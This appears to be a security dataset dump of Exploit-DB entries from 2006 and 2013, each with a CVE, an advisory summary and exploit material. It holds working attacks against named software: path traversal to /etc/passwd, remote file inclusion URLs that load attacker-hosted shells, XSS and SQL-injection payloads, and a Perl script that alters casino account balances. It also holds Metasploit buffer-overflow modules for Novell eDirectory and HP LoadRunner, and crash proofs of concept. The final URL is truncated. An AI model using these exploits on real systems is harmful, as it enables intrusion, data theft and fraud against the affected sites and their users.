QLWD/code_shield huggingface dataset:
标题: D-Link DSL-G624T - Information Disclosure EDB-ID: 28847 CVE: 2006-5536 类型: REMOTE 平台: HARDWARE 发布日期: 2006-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/20689/info

D-Link DSL-G624T devices are prone to a remote information-disclosure vulnerability because the devices fail to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to gain access to potentially sensitive configuration information from affected devices. This may aid them in further attacks.

http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/passwd
http://www.example.com/cgi-bin/webcm?getpage=/./././././././etc/config.xml URL: https://www.exploit-db.com/exploits/28847
标题: Zorum 3.5 - 'DBProperty.php' Remote File Inclusion EDB-ID: 28828 CVE: 2006-5431 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20606/info

Zorum is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 3.5 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[scerpitPath]/gorum/dbproperty.php?appDirName=http://www.example2.com URL: https://www.exploit-db.com/exploits/28828
标题: Simple Machines Forum (SMF) 1.0/1.1 - 'index.php' Cross-Site Scripting EDB-ID: 28831 CVE: 2006-5503 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/20629/info

Simple Machines Forum is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SMF versions 1.1 RC1, 1.1 RC2, and 1.0.8 and prior are vulnerable.

http://www.example.com/index.php?action=login2"><script>alert('xss-by-b0rizQ')</script> URL: https://www.exploit-db.com/exploits/28831
标题: Cerberus Helpdesk 3.2.1 - 'Rpc.php' Unauthorized Access EDB-ID: 28826 CVE: 2006-5428 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/20598/info

Cerberus Helpdesk is prone to an unauthorized-access vulnerability because the application fails to authenticate users properly, resulting in an improper-access validation. A workaround is available.

An attacker can exploit this vulnerability to retrieve other users' arbitrary ticket data. Information obtained can lead to a compromise of other users' confidential information.

Version 3.2.1 is affected by this issue; other versions may be vulnerable as well.

http://www.example.com/rpc.php?cmd=display_get_requesters&id=[ticket#] URL: https://www.exploit-db.com/exploits/28826
标题: Casinosoft Casino Script 3.2 - 'config.php' SQL Injection EDB-ID: 28833 CVE: 2006-5446 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/20646/info

Casinosoft Casino Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.2 is vulnerable; other versions may also be affected.

#!/usr/bin/perl

## Massvet ........ ...... - ......... .......... .......!
## ........ ...... 3.2, ........ ..... ......, . .......... magicquotes
## ......... .. ...... 3.2
##
## writed bu G1UK
## CFTeam

use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;

getopts("h:d:l:p:c:x:");

$host = $opt_h;
$dir = $opt_d || '/';
$login = $opt_l;
$pass = $opt_p;
$cash = $opt_c;
$proxy = $opt_x || '';
logo();


if(!$host||!$login||!$pass||!$cash) { help(); }

print "=) server : $host \r\n";
print "=) casino dir : $dir \r\n";
print "=) login : $login \r\n";
print "=) password : $pass \r\n";
print "=) cash : $cash \r\n";
print "\r\n";

$cook = LWP::UserAgent->new() or die;
$cookie = HTTP::Cookies->new();
$cook->cookie_jar( $cookie );
$url=$host.''.$dir;
$cook->proxy('http'=>'http://'.$proxy) if $proxy;

printf "Registering =)\r\n";
$res = $cook->post('http://'.$url.'reg.php',
[
"r_login" => "$login",
"r_pass" => "$pass",
"r_email" => "1",
"send" => "1",
"submit"=> "........."
]);
print "Registering OK\r\n";

print "Enter =)\r\n";
$res = $cook->post('http://'.$url.'lobby/login_proc.php',
[
"log" => "$login",
"psw" => "$pass",
"send" => "1",
"submit"=> ".....",
"Cookie" => "PHPSESSID=".$sid
]);
print "Enter OK\r\n";

print "Edit you cash =))\r\n";
$res = $cook->post('http://'.$url.'lobby/config.php',
[
"cpass" => "$pass",
"cname" => "",
"cfam" => "',cash='".$cash."' where login='".$login."'/*",
"send" => "1",
"Cookie" => "PHPSESSID=".$sid
]);
print "Check out you cash =)\r\n";

sub logo()
{
print 
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n";
print "Massvet internet casino v3.2 sql injection cash exploit by 
CFTeam\r\n";
print 
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n";
}

sub help()
{
print "CFteam.pl -h <host> -d [dir] -l <login> -p <password> -c <cash> 
-x [proxy]\r\n\r\n";
print "<host> - Host where cazino installed for example - 
www.massvet.ru\r\n";
print "[dir] - Directory, where cazino is installed /cazino/ for 
example\r\n";
print "<login> - User name for registrate \r\n";
print "<password> - Password for registrate \r\n";
print "<cash> - How much you need? (00.00)\r\n";
print "[proxy] - For you safety \r\n";
exit();
} URL: https://www.exploit-db.com/exploits/28833
标题: Kinesis Interactive Cinema System - 'index.asp' SQL Injection EDB-ID: 28829 CVE: 2006-5450 类型: WEBAPPS 平台: ASP 发布日期: 2006-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/20607/info

Kinesis Interactive Cinema System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Since this is a site-specific issue, this BID is being retired.

Supplying the following input to the 'index.asp' script is sufficient to exploit this issue: 

user: 'or''=' 
pass: 'or''=' URL: https://www.exploit-db.com/exploits/28829
标题: phpList 2.10.2 - 'index.php' Cross-Site Scripting EDB-ID: 28824 CVE: 2006-5524 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/20577/info

PHPList is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 2.10.2 is vulnerable; other versions may also be affected.

http://www.example.com/phplist/index.php?p="><script>alert(1);</script> URL: https://www.exploit-db.com/exploits/28824
标题: Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow (3) EDB-ID: 28837 CVE: 2006-5478 类型: REMOTE 平台: NOVELL 发布日期: 2006-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/20655/info
  
The Novell eDirectory server iMonitor is prone to a stack-based buffer-overflow vulnerability because it fails to perform sufficient bounds checking on client-supplied data before copying it to a buffer.
  
An attacker could leverage this issue to execute arbitrary code with administrative privileges. A successful exploit could result in the complete compromise of the affected system.
  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell eDirectory NDS Server Host Header Overflow',
   'Description'    => %q{
    This module exploits a stack overflow in Novell eDirectory 8.8.1.
    The web interface does not validate the length of the 
    HTTP Host header prior to using the value of that header in an 
    HTTP redirect.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     => 
    [ 
     ['CVE', '2006-5478'],
     ['OSVDB', '29993'],
     ['BID', '20655'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll 
    ],

   'Privileged'     => true,

   'DisclosureDate' => 'Oct 21 2006',

   'DefaultTarget' => 0))

   register_options([Opt::RPORT(8028)], self.class)
 end

 def exploit
  connect

  sploit =  "GET /nds HTTP/1.1" + "\r\n" 
  sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars) 
  sploit << "," + rand_text_alphanumeric(719, payload_badchars) 
  seh    = generate_seh_payload(target.ret)
  sploit[705, seh.length] = seh
  sploit << "\r\n\r\n"

  print_status("Trying target #{target.name}...")

  sock.put(sploit)
  
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/28837
标题: Microsoft Class Package Export Tool 5.0.2752 - 'Clspack.exe' Local Buffer Overflow (PoC) EDB-ID: 28822 CVE: 2006-5395 类型: DOS 平台: WINDOWS 发布日期: 2006-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20561/info

Microsoft Class Package Export Tool ('clspack.exe') is prone to a local buffer-overflow vulnerability because the application fails to properly size attacker-supplied data before copying it into an insuficiently sized memory buffer.

Exploiting this issue allows local attackers to execute arbitrary machine code in the context of the user running the application. Failed exploit attempts will likely crash the application, denying service to legitimate users.

C:\WINDOWS\clspack.exe a
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaazzzz URL: https://www.exploit-db.com/exploits/28822
标题: KMail 1.x - HTML Element Handling Denial of Service EDB-ID: 28816 CVE: 2006-7139 类型: DOS 平台: LINUX 发布日期: 2006-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20539/info

KMail is prone to an unspecified denial-of-service vulnerability. 

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. 

KMail 1.9.1 and prior versions are vulnerable to this issue.

Return-Path: <nnp@torvalds>
X-Original-To: test
Delivered-To: test@torvalds
Received: by torvalds (Postfix, from userid 1000)
 id D854F83BF5; Tue, 26 Sep 2006 16:06:36 +0100 (IST)
To: test@torvalds
Content-Type: text/html
Subject: testing
Message-Id: <20060926150636.D854F83BF5@torvalds>
Date: Tue, 26 Sep 2006 16:06:36 +0100 (IST)
From: nnp@torvalds (nnp)
Status: R
X-Status: NC
X-KMail-EncryptionState:  
X-KMail-SignatureState:  
X-KMail-MDN-Sent:  


<HTML>
<HEAD>

<TABLE <FRAMESET ROWS> URL: https://www.exploit-db.com/exploits/28816
标题: Maintain 3.0.0-RC2 - 'Example6.php' Remote File Inclusion EDB-ID: 28821 CVE: 2006-7120 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20560/info

Maintain is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Maintain version 3.0.0 RC2 is affected.

http://www.example.com/[path]/lib/php/phphtmllib-2.5.4/examples/example6.php?phphtmllib=[shell] URL: https://www.exploit-db.com/exploits/28821
标题: Mambo Module MOStlyCE 4.5.4 - 'HTMLTemplate.php' Remote File Inclusion EDB-ID: 28818 CVE: 2006-7104 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20549/info

Mambo MostlyCE is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=[shell] URL: https://www.exploit-db.com/exploits/28818
标题: Lodel CMS 0.7.3 - 'Calcul-page.php' Remote File Inclusion EDB-ID: 28819 CVE: 2006-5422 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/20551/info

Lodel CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 0.7.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/calcul-page.php?home=[shell] URL: https://www.exploit-db.com/exploits/28819
标题: Apple Motion 5.0.7 - Integer Overflow EDB-ID: 28811 CVE: 2013-6114 类型: DOS 平台: OSX 发布日期: 2013-10-08 漏洞利用脚本: Apple Motion Integer Overflow Vulnerability
===========================================

Vendor: Apple (http://www.apple.com)
Software: Motion 5.0.7
Testcase verified on: OS X 10.8

Credit: Jean Pascal Pereira <pereira@secbiz.de>

DESCRIPTION
===========

An integer overflow vulnerability has been identified in Apple Motion. The issue has been verified for Motion 5.0.7 (current release). Prior versions may also be affected. 

An attacker has the possibility to provide a crafted .motn file containing a viewer element with a subview attribute. If the subview attribute is set to a very low or high integer value, the application crashes due an access violation.

Debug message:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000002dd6e0990
0x0000000100858eb7 in OZDocument::parseElement ()

The crash is triggered in the function OZDocument::parseElement() at the following instruction:

(gdb) x/i 0x0000000100858eb7 
0x100858eb7 <_ZN10OZDocument12parseElementER22PCSerializerReadStreamR15PCStreamElement+695>:  mov rsi, QWORD PTR [rbx+rax*8+0x98]

The value of rax is controlled by the attacker (in this case, the rax register contains the integer 989894991 which is provided in the PoC below). 

(gdb) p $rax
$16 = 989894991

(gdb) p/x $rbx+($rax*8)+0x98
$1 = 0x2dd6e0990

PROOF OF CONCEPT
================

Create a .motn file with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ozxmlscene>
<ozml version="5.5">
<viewer subview="989894991">
</viewer>
</ozml>

DISCLOSURE TIMELINE
===================
2013/09/18: Vendor notified
2013/10/07: Public disclosure URL: https://www.exploit-db.com/exploits/28811
标题: Internet Security Systems 3.6 - 'ZWDeleteFile()' Arbitrary File Deletion EDB-ID: 28817 CVE: 2006-7129 类型: LOCAL 平台: MULTIPLE 发布日期: 2006-10-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/20546/info

Internet Security Systems (ISS) BlackICE PC Protection is prone to a file-deletion vulnerability.

An attacker can exploit this issue to delete arbitrary files within the context of the affected application. This could lead to other attacks. 

Versions 3.6.cpu, 3.6.cpj are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28817.zip URL: https://www.exploit-db.com/exploits/28817
标题: HP LoadRunner - 'magentproc.exe' Remote Overflow (Metasploit) EDB-ID: 28809 CVE: 2013-4800 类型: REMOTE 平台: WINDOWS 发布日期: 2013-10-08 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP LoadRunner magentproc.exe Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The
        vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending
        a specially crafted packet, an attacker may be able to execute arbitrary code.
      },
      'Author'         =>
        [
          'Unknown', # Original discovery # From Tenable Network Security
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-4800'],
          ['OSVDB', '95644'],
          ['http://www.zerodayinitiative.com/advisories/ZDI-13-169/']
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'SSL' => true,
          'SSLVersion' => 'SSL3',
          'PrependMigrate' => true
        },
      'Payload'        =>
        {
          'Space'    => 4096,
          'DisableNops' => true,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          [
            'Windows XP SP3 / HP LoadRunner 11.50',
            {
              # magentproc.exe 11.50.2042.0
              'Offset' => 1104,
              'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
              'Crash' => 6000 # Length needed to ensure an exception
            }
          ]
        ],
      'DisclosureDate' => 'Jul 27 2013'))

      register_options([Opt::RPORT(443)], self.class)
  end

  def exploit

    req = [0xffffffff].pack("N") # Fake Length
    req << rand_text(target['Offset'])
    req << generate_seh_record(target.ret)
    req << payload.encoded
    req << rand_text(target['Crash'])

    connect
    print_status("Sending malicious request...")
    sock.put(req)
    disconnect

  end
end URL: https://www.exploit-db.com/exploits/28809
标题: Bloq 0.5.4 - 'rss.php?page[path]' Remote File Inclusion EDB-ID: 28799 CVE: 2006-6592 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20512/info
  
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.
 
http://www.example.com/[PATHTOSCR&#304;PT]/rss.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls URL: https://www.exploit-db.com/exploits/28799
标题: Bloq 0.5.4 - '/files/mainfile.php?page[path]' Remote File Inclusion EDB-ID: 28802 CVE: 2006-6592 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20512/info
     
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/files/mainfile.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls URL: https://www.exploit-db.com/exploits/28802
标题: MamboLaiThai ExtCalThai 0.9.1 - 'mail.inc.php?CONFIG_EXT[LIB_DIR]' Remote File Inclusion EDB-ID: 28793 CVE: 2006-6634 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/20487/info
 
ExtCalThai is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
ExtCalThai 0.9.1 and prior verions are vulnerable; other versions may also be affected.

http://www.example.com/MamboV4.6RC2/components/com_extcalendar/lib/mail.inc.php?CONFIG_EXT[LIB_DIR]=http://shell/cmd.gif? URL: https://www.exploit-db.com/exploits/28793
标题: MamboLaiThai ExtCalThai 0.9.1 - 'admin_events.php?CONFIG_EXT[LANGUAGES_DIR]' Remote File Inclusion EDB-ID: 28792 CVE: 2006-6634 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/20487/info

ExtCalThai is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ExtCalThai 0.9.1 and prior verions are vulnerable; other versions may also be affected.

http://www.example.com/MamboV4.6RC2/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=http://shell/cmd.gif? URL: https://www.exploit-db.com/exploits/28792
标题: Bloq 0.5.4 - 'rdf.php?page[path]' Remote File Inclusion EDB-ID: 28801 CVE: 2006-6592 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20512/info
    
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/rdf.php?page[path]=http://www.example.com/cmd.gif?&cmd=ls URL: https://www.exploit-db.com/exploits/28801
标题: Bloq 0.5.4 - 'rss2.php?page[path]' Remote File Inclusion EDB-ID: 28800 CVE: 2006-6592 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/20512/info
   
Bloq is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Version 0.5.4 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/[PATHTOSCR&#304;PT]/rss2.php?page[path]=http://www.example.com/cmd.gif?&cmd=l10:32 URL: https://www.exploit-db.com/exploits/28800